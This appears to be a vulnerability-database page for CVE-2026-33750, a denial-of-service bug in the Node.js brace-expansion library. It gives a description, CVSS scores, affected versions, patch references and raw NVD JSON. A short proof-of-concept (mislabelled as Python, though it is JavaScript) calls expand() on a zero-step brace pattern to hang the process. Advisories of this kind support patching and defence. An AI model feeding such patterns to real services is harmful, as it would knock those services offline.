Security Vulnerability Report
中文
CVE-2026-33750 CVSS 6.5 MEDIUM

CVE-2026-33750

Published: 2026-03-27 15:16:57
Last Modified: 2026-04-22 14:23:19

Description

The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:* - VULNERABLE
brace-expansion < 5.0.5
brace-expansion < 3.0.2
brace-expansion < 2.0.3
brace-expansion < 1.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33750 // This demonstrates the infinite loop vulnerability const expand = require('brace-expansion'); console.log('Starting PoC for CVE-2026-33750...'); // A pattern with a step of 0 causes the infinite loop const maliciousPattern = '{1..10..0}'; console.log(`Expanding pattern: ${maliciousPattern}`); try { // The following call will hang the process and consume memory const result = expand(maliciousPattern); console.log('Result:', result); } catch (e) { console.error('Error occurred:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33750", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:57.297", "lastModified": "2026-04-22T14:23:19.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.1.13", "matchCriteriaId": "3EC474EB-1EFC-4BF9-AF15-AEC3600D7400"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "D072E860-8A88-42C8-ABCC-A2E57D1A09FB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.2", "matchCriteriaId": "32CE3566-9064-4CC7-8A52-38E16995F8FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juliangruber:brace-expansion:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.5", "matchCriteriaId": "82D2D10D-92F3-4E73-856F-BCDD0F9B63AA"}]}]}], "references": [{"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/issues/98", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/juliangruber/brace-expansion/pull/95", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/pull/96", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/pull/97", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}